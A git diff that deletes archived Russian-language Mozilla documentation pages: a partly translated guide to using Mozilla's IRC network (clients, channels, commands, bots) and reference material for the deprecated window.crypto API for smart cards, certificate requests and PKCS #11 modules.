-<p style="margin-bottom: 0in; padding-left: 30px;">6. Если вы, прежде чем задать вопрос, будете дожидаться ответа на сообщение типа «Помогите!» или «Здесь кто-нибудь есть?», вам вряд ли кто-то поможет. Asking a good question will result in a better experience for both you and the person trying to help. There is a good reference for what makes a good question <a href="http://www.gerv.net/hacking/how-to-ask-good-questions/">here</a>.</p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;">7. <strong>Расслабтесь и веселитесь!</strong></span></p>
-
-<h2 class="western" id="Software" name="Software" style="font-style: normal;"><span style="text-decoration: none;">Программы</span></h2>
-
-<h3 class="western" id="ChatZilla_(расширение_Firefox)"><strong><span style="font-size: small;"><span style="font-style: normal;"><span style="text-decoration: none;">ChatZilla (расширение Firefox)</span></span></span></strong></h3>
-
-<p class="western"><span style="font-style: normal;"><span style="text-decoration: none;">Есть несколько различных приложений которые позволяют вам соединиться к IRC сети. Простейший в использовании это дополнение к Firefox названным Chatzilla. Следующие инструкции описывают как установить и сконфигурировать Chatzilla для использования в Mozilla IRC сети.</span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">1. Перейдите к <a href="https://addons.mozilla.org/en-US/firefox/addon/16">addons.mozilla.org</a> для скачивания и установки Chatzilla</span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">2. Щёлкни зелённую </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">Add to Firefox</span></span></em><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;"> кнопку</span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">3. Щёлкни кнопку </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">Install</span></span></em><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;"> на Addon Installation dialog</span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">4. Как только ChatZilla установиться, щёлкни </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">Restart Firefox</span></span></em></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">5. Как только Firefox перезагрузиться, закрой Add-ons диалог</span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">6. Теперь щёлкни Tools menu &gt; ChatZilla для запуска клиента</span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">7. В текстовом поле  в нижней части окна напечаьай </span></span></span><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">/server irc.mozilla.org</span></span></span></span></span><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;"> и нажми enter</span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">8. </span></span></span>Вам будет предоставлено ​​случайное имя при первом подключении<span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">. Обычно клиент будет использовать просто имя пользователя вашего компьютера. Если данное имя уже используется, то будет использовано что-то как </span></span></span><em><span style="text-decoration: none;"><span style="font-weight: normal;">IRCMonkey21710</span></span></em><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">. Вы можете поменять ваш никнейм напечатав /nick nickname, где nickname это ваш желаемый nickname. Вы также можете сменить никнейм используя dropdown box слева от текстового поля.</span></span></span></p>
-
-<p style="font-style: normal; padding-left: 30px;"><em><span style="text-decoration: none;"><span style="font-weight: normal;">Смотри <a href="#commands">Commands</a> раздел ниже для получения дополнительных IRC комманд.</span></span></em></p>
-
-<p style="padding-left: 30px;"><span style="text-decoration: none;"><span style="font-weight: normal;">9. Присоединяйтесь к каналу тип </span></span><span style="font-family: courier new,monospace;"><span style="font-size: xx-small;"><span style="text-decoration: none;"><span style="font-weight: normal;"><span style="font-size: x-small;">/join #channel</span>,</span></span></span></span><span style="text-decoration: none;"><span style="font-weight: normal;"> где #channel имя канала к которому вы хотите присоединиться.</span></span></p>
-
-<p style="padding-left: 30px;"><em><span style="text-decoration: none;"><span style="font-weight: normal;">Смотри</span></span></em> <em><span style="text-decoration: none;"><span style="font-weight: normal;"> <a href="#channels">Channels</a> раздел ниже для некоторых каналов, доступных в сети Mozilla IRC.</span></span></em></p>
-
-<h3 class="western" id="Настольные_клиенты"><span style="font-size: small;"><strong><span style="text-decoration: none;">Настольные клиенты</span></strong></span></h3>
-
-<p style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">Как было сказано ранее, ChatZilla не единственный существующий IRC-клиент, хотя он и один из самых простых. Преимущество настольных клиентов — в значительно большей настраиваемости. Например, можно выбирать между SSL и незашифрованным соединением, а также настроить клиент при запуске автоматически подключаться к серверу и входить на определённые каналы. Ниже приведены некоторые доступные клиенты:</span></span></p>
-
-<table style="text-align: right; width: 100%;">
- <tbody>
- <tr>
- <td> </td>
- <td>
- <p align="CENTER"><strong>Windows</strong></p>
- </td>
- <td>
- <p align="CENTER"><strong>Mac</strong></p>
- </td>
- <td>
- <p align="CENTER"><strong>Linux</strong></p>
- </td>
- </tr>
- <tr>
- <td><a href="http://colloquy.info/downloads.html">Colloquy</a></td>
- <td> </td>
- <td>
- <p align="CENTER">●</p>
- </td>
- <td> </td>
- </tr>
- <tr>
- <td><a href="http://irssi.org/download#binaries">IRSSI</a></td>
- <td>
- <p align="CENTER">●</p>
- </td>
- <td>
- <p align="CENTER">●</p>
- </td>
- <td>
- <p align="CENTER">●<span style="font-family: arial,sans-serif;">*</span></p>
- </td>
- </tr>
- <tr>
- <td><a href="http://www.xchat.org/download/">Xchat</a></td>
- <td>
- <p align="CENTER">●</p>
- </td>
- <td>
- <p align="CENTER">○</p>
- </td>
- <td>
- <p align="CENTER">●<span style="font-family: arial,sans-serif;">*</span></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p style="padding-left: 30px;"><em><span style="font-family: arial,sans-serif;"><span style="text-decoration: none;"><span style="font-weight: normal;">● </span></span></span></em><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">Доступны бинарные или исполняемые программные файлы</span></span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">○ Доступен только в виде исходного кода, который надо скачать и скомпилировать</span></span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">●* Исполнимые файлы могут быть доступны. Если нет, надо будет скачать и скомпилировать исходные тексты.</span></span></span></span></p>
-
-<p style="padding-left: 30px;"><span style="font-family: arial,sans-serif;"><span style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">w Веб-приложение (то есть, работает в браузере) </span></span></span></span></p>
-
-<p><em><span style="text-decoration: none;"><span style="font-weight: normal;">Более полный список IRC-клиентов можно найти <a href="http://ru.wikipedia.org/wiki/Сравнение_IRC-клиентов">здесь</a>.</span></span></em></p>
-
-<p style="font-style: normal;"><span style="text-decoration: none;"><span style="font-weight: normal;">При использовании настольного клиента надо будет настроить подключение к серверу используя следующую информацию:</span></span></p>
-
-<p style="font-style: normal; padding-left: 30px;"><span style="text-decoration: none;"><strong>Сервер: irc.mozilla.org</strong></span></p>
-
-<p style="padding-left: 30px;"><span style="font-style: normal;"><span style="text-decoration: none;"><strong>Порт: 6667 (default) or 6697 (SSL)</strong></span></span></p>
-
-<h3 id="Веб-клиенты"><span style="font-style: normal;"><span style="text-decoration: none;"><strong>Веб-клиенты</strong></span></span></h3>
-
-<p><span style="font-style: normal;"><span style="text-decoration: none;">Есть также несколько клиентов, являющихся веб-приложениями, которые позволяют подключаться к IRC кликая на ссылки irc://. Один из простейших таких клиентов — </span></span><a href="http://www.mibbit.com/">Mibbit</a>. Он работает очень сходно с упомянутыми выше настольными клиентами и ChatZilla’ой. Mibbit НЕ требует Flash или каких-либо других плагинов. <a name="channels"></a></p>
-
-<h2 class="western" id="Channels" name="Channels"><span style="font-style: normal;">Каналы</span></h2>
-
-<p><span style="font-style: normal;">Здесь находиться список каналов, для которых вы должны быть в курсе как член сообщества Mozilla: </span><span style="font-style: normal;"><strong>(Не забывайте использовать irc.mozilla.org и порт 6697 или 6667 для настройки сервера)</strong></span></p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <td><a href="irc://irc.mozilla.org/qa"><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">#qa</span></span></a></td>
- <td>Канал для обсуждений QA / QE / контроля качества</td>
- </tr>
- <tr>
- <td><a href="irc://irc.mozilla.org/developers"><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">#developers</span></span></a></td>
- <td>Канал для обсуждения разработки Mozilla</td>
- </tr>
- <tr>
- <td><a href="irc://irc.mozilla.org/sumo"><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">#sumo</span></span></a></td>
- <td>Канал для поддержки с Firefox</td>
- </tr>
- </tbody>
-</table>
-
-<p><em>Для прлучения дополнительной информации о сети Mozilla IRC и каналах, перейдите <a href="https://wiki.mozilla.org/IRC">here</a>.</em> <a name="commands"></a></p>
-
-<h2 class="western" id="Commands" name="Commands" style="font-style: normal;">Команды</h2>
-
-<p><span style="font-style: normal;">Ниже приведен список команд, которые вы должны хорошо знать. Просто введите их в окно сообщений в нижней части экрана и нажмите enter.</span></p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/join #channel</span></span></td>
- <td>Joins you to the specified channel until you quit your IRC client or quit the channel</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/leave</span></span></td>
- <td>Leave the current channel</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/mode #channel +k password</span></span></td>
- <td>Sets a password for the channel. If #channel is not specified, the command is executed for the current channel.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/mode #channel +o nickname</span></span></td>
- <td>Sets specified user as an owner or moderator of the specified channel. If a #channel is not specified, the command is executed for the current channel.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/mode #channel +s</span></span></td>
- <td>Sets the channel as a secret channel. This takes the channel off the public list of active channels and topics.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg nick message</span></span></td>
- <td>Sends a private message to the specified user</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/nick nickname</span></span></td>
- <td>Change your current nickname</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">nickname: ping</span></span></td>
- <td>Get a user's attention (nickname is the name of the user you want the attention of)</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">nickname: pong</span></span></td>
- <td>Respond to a user's ping (nickname is the name of the user who wants your attention)</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/query nickname</span></span></td>
- <td>Opens a private chat with the specified user</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/quit message</span></span></td>
- <td>Disconnects you from the current server displaying the message in all connected channels prior to quitting</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/reload styles</span></span></td>
- <td>Some IRC clients, Colloquy on Mac in particular, stop displaying your messages in the channel window. If this happens, you can type this command to resolve this issue.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/server server-name</span></span></td>
- <td>Manually connect to a server</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/topic topic</span></span></td>
- <td>Changes the topic of the channel. The topic is a message that displays first when you join a channel.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/whois nickname</span></span></td>
- <td>Display information about the specified user. This information displays in the server window.</td>
- </tr>
- </tbody>
-</table>
-
-<p><em>For more information about IRC commands go <a href="http://www.technerd.net/irc-commands.html">here</a>.</em></p>
-
-<h2 class="western" id="Bots" name="Bots" style="font-style: normal;">Боты</h2>
-
-<p><span style="font-style: normal;">Some users in IRC are not human. These users are known as bots and automatically perform certain tasks; some automatic, some triggered by other users. The most common of these bots are called NickServ, ChanServ, and Firebot.</span></p>
-
-<h3 class="western" id="NickServ"><span style="font-size: small;"><span style="font-style: normal;"><strong>NickServ</strong></span></span></h3>
-
-<p><span style="font-style: normal;">This bot allows you to register your nickname which prevents other users from using it. NickServ also automatically elevates all registered users to operators when they sign on.</span><span style="font-style: normal;"><span style="font-weight: normal;">The following are some helpful commands which can be used by NickServ:</span></span></p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ REGISTER password email</span></span></span></span></td>
- <td><span style="font-style: normal;"><span style="font-weight: normal;">This registers your nickname with the server.</span></span></td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ IDENTIFY password</span></span></span></span></td>
- <td><span style="font-style: normal;"><span style="font-weight: normal;">Once registered, you need to type this every time you want to sign into channels using your registered nickname</span></span></td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ HELP</span></span></span></span></td>
- <td><span style="font-style: normal;"><span style="font-weight: normal;">This displays a list of commands which can be used with NickServ</span></span></td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ HELP REGISTER</span></span></span></span></td>
- <td><span style="font-style: normal;"><span style="font-weight: normal;">This displays helpful information about nickname registration</span></span></td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;"><span style="font-style: normal;"><span style="font-weight: normal;">/msg NickServ HELP IDENTIFY </span></span></span></span></td>
- <td><span style="font-style: normal;"><span style="font-weight: normal;">This displays helpful information about identifying yourself upon sign in</span></span></td>
- </tr>
- </tbody>
-</table>
-
-<p><em><span style="font-weight: normal;">For more information about NickServ go <a href="http://www.technerd.net/nickserv.html">here</a>.</span></em></p>
-
-<h3 id="ChanServ"><span style="font-size: small;"><span style="font-style: normal;"><strong>ChanServ</strong></span></span></h3>
-
-<p><span style="font-style: normal;"><span style="font-weight: normal;">This bot allows you to register new channels and control aspects of channels. The following are some helpful commands which can be used by ChanServ:</span></span></p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg ChanServ HELP</span></span></td>
- <td>This displays a list of commands which can be used with ChanServ</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg ChanServ IDENTIFY #channel password</span></span></td>
- <td>Allows you to edit the apsects of the specified channel given the correct password</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg ChanServ REGISTER #channel password topic</span></span></td>
- <td>Registers a channel given the correct password and sets the topic</td>
- </tr>
- </tbody>
-</table>
-
-<p><em><span style="font-weight: normal;">For more information about ChanServ go <a href="http://www.technerd.net/chanserv.html">here</a>.</span></em></p>
-
-<h3 id="Firebot"><span style="font-size: small;"><span style="font-style: normal;"><strong>Firebot</strong></span></span></h3>
-
-<p><span style="font-size: small;"><span style="font-style: normal;"><span style="font-weight: normal;">Firebot is a bot which assists with Mozilla related activities on IRC. For instance, Firebot automatically posts messages to #developers about the status of automated tests. The following are some helpful commands which can be used by Firebot:</span></span></span></p>
-
-<table style="width: 100%;">
- <tbody>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">bug ######</span></span></td>
- <td>When a bug number is mentioned in a message, Firebot automatically displays the link and summary from bugzilla for that bug.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg firebot uuid</span></span></td>
- <td>Displays a unique identifier. This is useful when creating interfaces for add-on development.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/msg firebot cid</span></span></td>
- <td>Displays a unique 128-bit number which can be used to identify a class or component.</td>
- </tr>
- <tr>
- <td><span style="font-size: x-small;"><span style="font-family: courier new,monospace;">/invite firebot #channel</span></span></td>
- <td>Adds firebot to the specified channel.</td>
- </tr>
- </tbody>
-</table>
-
-<p><em><span style="font-weight: normal;">For more information about Firebot go <a href="https://wiki.mozilla.org/Firebot">here</a>.</span></em></p>
-
-<h2 class="western" id="Further_Reading" style="font-style: normal;">Further Reading</h2>
-
-<p><a href="http://www.irchelp.org/irchelp/faq.html"><span style="font-style: normal;">IRC Frequently Asked Questions and other helpful tutorials</span></a> <span style="font-style: normal;"><a href="http://www.irchelp.org/irchelp/changuide.html">IRC Channel Operator's Guide</a> (New Version)</span> <span style="font-style: normal;"><a href="http://www.irchelp.org/irchelp/opguide.html">IRC Channel Operator's Guide</a> (Old Version) [</span><em>From 1995, but still quite useful</em><span style="font-style: normal;">]</span></p>
diff --git a/files/ru/archive/mozilla/index.html b/files/ru/archive/mozilla/index.html
deleted file mode 100644
index 0acec76e6d..0000000000
--- a/files/ru/archive/mozilla/index.html
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: Archived Mozilla and build documentation
-slug: Archive/Mozilla
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Mozilla
----
-<p>These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.</p>
-<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/ru/archive/mozilla/javascript_crypto/index.html b/files/ru/archive/mozilla/javascript_crypto/index.html
deleted file mode 100644
index b24e78050c..0000000000
--- a/files/ru/archive/mozilla/javascript_crypto/index.html
+++ /dev/null
@@ -1,275 +0,0 @@
----
-title: JavaScript crypto
-slug: Archive/Mozilla/JavaScript_crypto
-translation_of: Archive/Mozilla/JavaScript_crypto
----
-<p>{{ Non-standard_header() }}{{deprecated_header}}{{ warning("The features mentioned in this article are deleted proprietary Mozilla extensions, and are not supported in any other browser. They won't work in Firefox 34 or later. Use &lt;keygen&gt; or the future Web Crypto API instead.") }}</p>
-
-<h2 id="Using_the_Mozilla_crypto_object_from_JavaScript">Using the Mozilla <code>crypto</code> object from JavaScript</h2>
-
-<p>Mozilla defines a special JavaScript object to allow web pages access to certain cryptographic-related services. These services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. Most of these services are available via the DOM {{ domxref("window") }} object as {{ domxref("window.crypto") }}.</p>
-
-<p>Services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text.</p>
-
-<h3 id="Handling_smart_card_events">Handling smart card events</h3>
-
-<p>Web sites can make themselves more SmartCard friendly by listening for SmartCard insertion and removal events. To enable your document to receive these events, you must first tell the crypto system you are interested by setting {{ domxref("window.crypto.enableSmartCardEvents") }} to <code>true</code>. You can then register event handlers for these events with the {{ domxref("document.addEventListener()") }} method.</p>
-
-<p>Two smart card related events are generated: <code>smartcard-insert</code> when SmartCards are inserted, and <code>smartcard-remove</code> when SmartCards are removed.</p>
-
-<p>Web sites which use SSL clientAuth login could use the following code to refresh the page on token insertions and removals:</p>
-
-<pre class="brush:html;">&lt;!DOCTYPE html&gt;
-&lt;p&gt;...
-&lt;script&gt;
-function onSmartCardChange() {
- window.location.reload();
-}
-function register() {
- window.crypto.enableSmartCardEvents = true;
- document.addEventListener("smartcard-insert", onSmartCardChange, false);
- document.addEventListener("smartcard-remove", onSmartCardChange, false);
-}
-function deregister() {
- document.removeEventListener("smartcard-insert", onSmartCardChange, false);
- document.removeEventListener("smartcard-remove", onSmartCardChange, false);
-}
-
-document.body.onload = register;
-document.body.onunload = deregister;
-&lt;/script&gt;
-</pre>
-
-<p>With the above example, your web site will automatically reload anytime a SmartCard is inserted or removed. This allows the page to automatically login and logout based on the presence of the SmartCard.</p>
-
-<h4 id="Generating_Keys_and_issuing_User_Certificates" name="Generating_Keys_and_issuing_User_Certificates">Generating keys and issuing user certificates</h4>
-
-<p>There are several crypto object methods used in generating keys for certificates: <a href="/en/JavaScript_crypto/generateCRMFRequest" title="en/JavaScript_crypto/generateCRMFRequest">generateCRMFRequest</a>(), <a href="/en/JavaScript_crypto/importUserCertificates" title="en/JavaScript_crypto/importUserCertificates">importUserCertificates</a>().</p>
-
-<p>The <a href="/en/JavaScript_crypto/generateCRMFRequest" title="en/JavaScript_crypto/generateCRMFRequest">generateCRMFRequest</a>() function generates a key and creates a <a href="/en/CRMF_Request_object" title="en/CRMF_Request_object">CRMF Request object</a>. This object can be passed to a CA using a webform.</p>
-
-<p>The <a href="/en/JavaScript_crypto/importUserCertificates" title="en/JavaScript_crypto/importUserCertificates">importUserCertificates</a>() function loads certificates into the NSS database or SmartCard if the corresponding key is found there.</p>
-
-<p>The <a href="/en/JavaScript_crypto/popChallengeResponse" title="en/JavaScript_crypto/popChallengeResponse">popChallengeResponse</a>() function is not implemented.</p>
-
-<h3 id="Overview_of_New_Cert_Issuing_Process" name="Overview_of_New_Cert_Issuing_Process">Overview of the new cert issuing process</h3>
-
-<ol>
- <li>User fills out enrollment form</li>
- <li>User action initiates script</li>
- <li>Script calls key generation method (<a href="/en/JavaScript_crypto/generateCRMFRequest" title="en/JavaScript_crypto/generateCRMFRequest">generateCRMFRequest</a>)</li>
- <li>Signing and Encryption keys are generated</li>
- <li>Encryption Private Key is wrapped with public key of Key Recovery Authority (KRA) (passed in in the form of a certificate as part of the script, and checked against a pre-installed certificate copy in the local certificate database)</li>
- <li>The public keys, wrapped encryption private key, and text string from the script (possibly containing naming or enrollment info) are signed by the user</li>
- <li>Signed blob is returned to the script</li>
- <li>Script submits signed blob and any other necessary info to the CA/RA</li>
- <li>CA/RA verifies signature on signed blob</li>
- <li>CA/RA validates identity of user</li>
- <li>CA/RA sends wrapped encryption private key to KRA</li>
- <li>KRA sends escrow verification back to CA</li>
- <li>CA creates and signs certificates</li>
- <li>CA sends certificates back to the user (<a href="/en/JavaScript_crypto/importUserCertificates" title="en/JavaScript_crypto/importUserCertificates">importUserCertificates</a>)</li>
-</ol>
-
-<h3 id="Typical_use" name="Typical_use">Typical use</h3>
-
-<p>The CA's enrollment page could look something like this:</p>
-
-<pre class="brush:html;">&lt;!DOCTYPE html&gt;
-&lt;h2&gt;Request a cert&lt;/h2&gt;
-&lt;form name="ReqForm" method="post" action="http://your.ra.site.org"&gt;
-&lt;p&gt;&lt;input type=hidden name=cert_request value=""&gt;
-&lt;p&gt;Name: &lt;input type=text name=name value=""&gt;
-&lt;p&gt;Password: &lt;input type=password name="password" value=""&gt;
-&lt;p&gt;&lt;input type=submit Name="Send" value="Submit"&gt;
-&lt;/form&gt;
-&lt;script&gt;
-/* the following values could be filled in by the server CGI */
-var authenticator = "server_magic";
-var keyTransportCert = null;
-var crmfObject = null;
-var form = document.forms[0];
-
-function validate()
-{
- // generate keys for nsm.
- if (typeof(crypto.version) != "undefined") {
- crmfObject = crypto.generateCRMFRequest(
- "CN=" + form.name.value,
- form.password.value,
- authenticator,
- keyTransportCert,
- "setCRMFRequest();",
- 1024,
- null,
- "rsa-dual-use");
- }
- return false;
-}
-
-function setCRMFRequest()
-{
- form.cert_request.value = crmfObject.request;
- form.submit();
-}
-
-form.onsubmit = validate;
-&lt;/script&gt;
-</pre>
-
-<p>On completion of the request, the CA may submit a page that looks something like this:</p>
-
-<pre class="brush:html;">&lt;!DOCTYPE html&gt;
-&lt;h2&gt;Certificate Request Successful&lt;/h2&gt;
-&lt;p&gt;Hit 'load' to load your certificate&lt;/p&gt;
-&lt;form name="ReqForm"&gt;
-&lt;p&gt;&lt;input type=submit Name="Load" value="Submit"&gt;&lt;/p&gt;
-&lt;/form&gt;
-&lt;script&gt;
-/* the following values could be filled in by the server CGI */
-var nickname= "MyCertNickname";
-var cert = "Mkjflakdjfiwjflaksufklasf ...";
-var forceBackup = false;
-
-function LoadCertificate()
-{
- window.crypto.importUserCertificates(nickname, cert, forceBackup);
- return false;
-}
-
-document.forms[0].onsubmit = LoadCertificate;
-&lt;/script&gt;
-</pre>
-
-<h4 id="Signing_text" name="Signing_text">Signing text</h4>
-
-<pre class="eval">DOMString signText(DOMString stringToSign,
- DOMString caOption /* ... */);
-</pre>
-
-<h4 id="Loading_PKCS_.2311_modules" name="Loading_PKCS_.2311_modules">Loading PKCS #11 modules</h4>
-
-<pre class="eval">long deletemodule(DOMString moduleName);
-long addmodule(DOMString moduleName,
- DOMString libraryFullPath,
- long cryptoMechanismFlags,
- long cipherFlags);
-</pre>
-
-<p>Loads or removes a new PKCS #11 module. In the add case, the module will be placed in the NSS secmod.db database and will be loaded automatically on application restart. In the delete case, the module is removed from the NSS secmod.db. This function will issue a user prompt to confirm the operation before the add or delete actually occurs.</p>
-
-<h6 id="Parameters">Parameters</h6>
-
-<dl>
- <dt><code>moduleName</code></dt>
- <dd>Name of the module.</dd>
- <dt><code>libraryFullPath</code></dt>
- <dd>The filename of the library prepended with its full path.</dd>
- <dt><code>cryptoMechanismFlags</code></dt>
- <dd>A bit vector indicating all cryptographic mechanisms should be turned on by default (see below).</dd>
- <dt><code>cipherFlags</code></dt>
- <dd>A bit vector indicating all SSL or S/MIME cipher functions supported by the module (see below).</dd>
-</dl>
-
-<h4 id="Mechanism_flag_definitions">Mechanism flag definitions</h4>
-
-<p>In general, most tokens should not set any of the cipher flags. Setting these flags means you want your token to supply the default implementation for these functions. Normally Mozilla uses its own internal module to supply these functions. These flags override that preference. If you choose to implement these flags, your module must supply the following additional functions for each flag:</p>
-
-<ul>
- <li>PKCS11_MECH_FLAG: must support CKM_RSA_PKCS and CKM_RSA_X_509 and the following functions: C_WRAPKEY, C_ENCRYPT, C_SIGN, C_DECRYPT, C_UNWRAPKEY, C_VERIFYRECOVER, C_VERIFY, C_GENERATEKEYPAIR (2048, 1024, 512) size</li>
- <li>PKCS11_MECH_DSA_FLAG: must support CKM_DSA and the following functions: C_SIGN, C_VERIFY, C_GENERATEKEYPAIR</li>
- <li>PKCS11_MECH_RC2_FLAG: must support CKM_RC2_CBC and CKM_RC2_ECB and the following functions: C_GENERATEKEY, C_ENCRYPT, C_DECRYPT, C_WRAPKEY, C_UNWRAPKEY</li>
- <li>PKCS11_MECH_RC4_FLAG: must support CKM_RC4_CBC and CKM_RC4_ECB and the following functions: C_GENERATEKEY, C_ENCRYPT, C_DECRYPT, C_WRAPKEY, C_UNWRAPKEY</li>
- <li>PKCS11_MECH_DES_FLAG: must support CKM_CPMF_CBC, CKM_DES_CBC, CKM_DES3_CBC, CKM_CPMF_ECB, CKM_DES_ECB, CKM_DES3_ECB and the following functions: C_GENERATEKEY, C_ENCRYPT, C_DECRYPT, C_WRAPKEY, C_UNWRAPKEY</li>
- <li>PKCS11_MECH_DH_FLAG: must support CKM_DH_PKCS_DERIVE and CKM_DH_KEY_PAIR_GEN and the following functions: C_DERIVEKEY, C_GENERATEKEYPAIR</li>
- <li>PKCS11_MECH_MD5_FLAG: Hashing must be able to function without authentication.</li>
- <li>PKCS11_MECH_SHA1_FLAG: Hashing must be able to function without authentication.</li>
- <li>PKCS11_MECH_MD2_FLAG: Hashing must be able to function without authentication.*</li>
- <li>PKCS11_RANDOM_FLAG: Use token's Random Number Generator.
- <ul>
- <li>Warning: Must be able to use without authentication. Many hardware random number generators are not as secure as the Netscape internal one. Do not select this value unless you can show that your random number generator is secure. Even so, it's highly discouraged.</li>
- </ul>
- </li>
- <li>PKCS11_PUB_READABLE_CERT_FLAG: This is the only flag most smart tokens should turn on. You can turn this flag on if:
- <ul>
- <li>the certs on your token can be read without authentication and,</li>
- <li>the public key on your token can be found by ID, MODULUS, or VALUE and all your private keys have the associated public key.
- <ul>
- <li>Turning this flag on will illuminate a large number of password prompts for your token when looking up certs in Communicator.</li>
- </ul>
- </li>
- </ul>
- </li>
-</ul>
-
-<pre class="eval">PKCS11_MECH_RSA_FLAG = 0x1&lt;&lt;0;
-PKCS11_MECH_DSA_FLAG = 0x1&lt;&lt;1;
-PKCS11_MECH_RC2_FLAG = 0x1&lt;&lt;2;
-PKCS11_MECH_RC4_FLAG = 0x1&lt;&lt;3;
-PKCS11_MECH_DES_FLAG = 0x1&lt;&lt;4;
-PKCS11_MECH_DH_FLAG = 0x1&lt;&lt;5; //Diffie-Hellman
-PKCS11_MECH_SKIPJACK_FLAG = 0x1&lt;&lt;6; //SKIPJACK algorithm as in Fortezza cards
-PKCS11_MECH_RC5_FLAG = 0x1&lt;&lt;7;
-PKCS11_MECH_SHA1_FLAG = 0x1&lt;&lt;8;
-PKCS11_MECH_MD5_FLAG = 0x1&lt;&lt;9;
-PKCS11_MECH_MD2_FLAG = 0x1&lt;&lt;10;
-PKCS11_MECH_RANDOM_FLAG = 0x1&lt;&lt;27; //Random number generator
-PKCS11_PUB_READABLE_CERT_FLAG = 0x1&lt;&lt;28; //Stored certs can be read off the token w/o logging in
